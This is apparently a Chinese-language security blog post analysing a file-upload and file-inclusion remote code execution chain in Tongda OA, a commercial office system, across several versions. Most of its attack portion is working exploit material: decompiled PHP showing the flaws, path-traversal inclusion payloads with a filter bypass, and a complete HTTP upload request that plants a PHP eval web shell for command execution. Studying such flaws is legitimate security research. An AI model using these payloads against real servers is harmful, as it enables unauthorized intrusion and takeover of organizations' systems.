通达OA RCE
0x01 获取信息
1 2 3 4 5 6 7
| 获取版本信息 inc/expired.php inc/reg_trial.php inc/reg_trial_submit.php
获取计算机名 resque/worker.php
|
0x02 影响版本
V11版
2017版
2016版
2015版
2013增强版
2013版
0x03 漏洞简介
任意文件上传+文件包含最后getshell
不同版本文件包含的地址不一样
1 2 3 4 5 6 7 8
| 2013 /ispirit/im/upload.php /ispirit/interface/gateway.php
2017 /ispirit/im/upload.php /mac/gateway.php
|
2015说是没有文件包含,到时候本地搭一下看看
0X04 文件包含
上面说过了2017的文件包含位置
1 2
| http://127.0.0.1/mac/gateway.php post:json={"url": "../../nginx/logs/oa.access.log"}
|
但是看了一下代码并不知道为什么可以包含文件,因为没有$_POST的地方
后来一直翻包含文件才发现原来是inc/common.inc.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| if (0 < count($_COOKIE)) { foreach ($_COOKIE as $s_key => $s_value ) { if (!is_array($s_value)) { $_COOKIE[$s_key] = addslashes(strip_tags($s_value)); }
$s_key = $_COOKIE[$s_key]; }
reset($_COOKIE); }
if (0 < count($_POST)) { $arr_html_fields = array();
foreach ($_POST as $s_key => $s_value ) { if (substr($s_key, 0, 15) != "TD_HTML_EDITOR_") { if (!is_array($s_value)) { $_POST[$s_key] = addslashes(strip_tags($s_value)); }
$s_key = $_POST[$s_key]; } else { if (($s_key == "TD_HTML_EDITOR_FORM_HTML_DATA") || ($s_key == "TD_HTML_EDITOR_PRCS_IN") || ($s_key == "TD_HTML_EDITOR_PRCS_OUT") || ($s_key == "TD_HTML_EDITOR_QTPL_PRCS_SET") || (isset($_POST["ACTION_TYPE"]) && (($_POST["ACTION_TYPE"] == "approve_center") || ($_POST["ACTION_TYPE"] == "workflow") || ($_POST["ACTION_TYPE"] == "sms") || ($_POST["ACTION_TYPE"] == "wiki")) && (($s_key == "CONTENT") || ($s_key == "TD_HTML_EDITOR_CONTENT") || ($s_key == "TD_HTML_EDITOR_TPT_CONTENT")))) { unset($_POST[$s_key]); $s_key = ($s_key == "CONTENT" ? $s_key : substr($s_key, 15)); $s_key = addslashes($s_value); $arr_html_fields[$s_key] = $s_key; } else { $encoding = mb_detect_encoding($s_value, "GBK,UTF-8"); unset($_POST[$s_key]); $s_key = substr($s_key, 15); $s_key = addslashes(rich_text_clean($s_value, $encoding)); $arr_html_fields[$s_key] = $s_key; } } }
reset($_POST); $_POST = array_merge($_POST, $arr_html_fields); }
if (0 < count($_GET)) { foreach ($_GET as $s_key => $s_value ) { if (!is_array($s_value)) { $_GET[$s_key] = addslashes(strip_tags($s_value)); }
$s_key = $_GET[$s_key]; }
reset($_GET); }
unset($s_key); unset($s_value);
|
有这么一段代码,就是所有GET,POST,COOKIE都会经过过滤,同时所有变量都可以直接传参,有点变量覆盖的感觉了
那其实文件包含在GET,POST,COOKIE里面都可以,尝试了之后发现是可行的
下面是gateway.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| <?php
ob_start(); include_once "inc/session.php"; include_once "inc/conn.php"; include_once "inc/utility_org.php";
if ($P != "") { if (preg_match("/[^a-z0-9;]+/i", $P)) { echo _("非法参数"); exit(); }
session_id($P); session_start(); session_write_close(); if (($_SESSION["LOGIN_USER_ID"] == "") || ($_SESSION["LOGIN_UID"] == "")) { echo _("RELOGIN"); exit(); } }
if ($json) { $json = stripcslashes($json); $json = (array) json_decode($json);
foreach ($json as $key => $val ) { if ($key == "data") { $val = (array) $val;
foreach ($val as $keys => $value ) { $keys = $value; } }
if ($key == "url") { $url = $val; } }
if ($url != "") { if (substr($url, 0, 1) == "/") { $url = substr($url, 1); }
include_once $url; }
exit(); }
?>
|
有些版本在包含$url的时候也会有判断,比如一定要包含general,ispirit,module其中一个,
可以通过../general/../../nginx/logs/oa.access.log绕过
如果不传P就可绕过第一个判断,第二个判断需要先传入一个json,可以把url放到json里面,也可以把url参数单独传,只要url不为空就会进入第一个包含
总结一下常规的payload
1 2 3
| json={"url": "../../nginx/logs/oa.access.log"} json{}=&url=../../nginx/logs/oa.access.log json{}=&url=../general/../../nginx/logs/oa.access.log
|
0x05 文件上传
http://127.0.0.1/ispirit/im/upload.php
首先传入P绕过第一个判断
不一定要获取session,主要是要绕过这个判断不走到auth.php里面
DEST_UID的两个判断不是关键,只要$UPLOAD_MODE为2都是可以走出去,不像有些文章说的一定不能等于0
但是upload里面进去找了半天还是不知道为什么就上传成功了
upload->add_attach->$ATTACH_ENCRYPT[“ENABLE”] == 1
主要就是走这么一条路,ENABLE=1就上传成功了,但是不知道上传文件的代码在哪,也不知道ENABLE怎么变成1的,果然还是太弟弟了下,希望有大佬看到了带带我
这边就不继续看下去了,upload主要就是过滤后缀,不过因为有文件包含,后缀白名单里面选一个就行
现在看下来需要这几个参数
1 2 3 4
| UPLOAD_MODE P DEST_UID (可为空,但UPLOAD_MODE必须为2) ATTACHMENT
|
就可以构造exp了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| POST /ispirit/im/upload.php HTTP/1.1 Host: 127.0.0.1 Content-Length: 626 Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Content-Type: multipart/form-data; boundary=---123 Accept: */* Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5 Cookie: PHPSESSID=123 Connection: close
---123 Content-Disposition: form-data; name="UPLOAD_MODE"
2 ---123 Content-Disposition: form-data; name="P"
123 ---123 Content-Disposition: form-data; name="DEST_UID"
1 ---123 Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg" Content-Type: image/jpeg
<?php eval($_POST['pass']); ?> ---123
|
这里Content-Type后面的boundary要和下面都一样,这也是刚刚学到的
还有一句话可以正常写,因为蚁剑自带COM执行命令
之后看看能不能写个工具自动化吧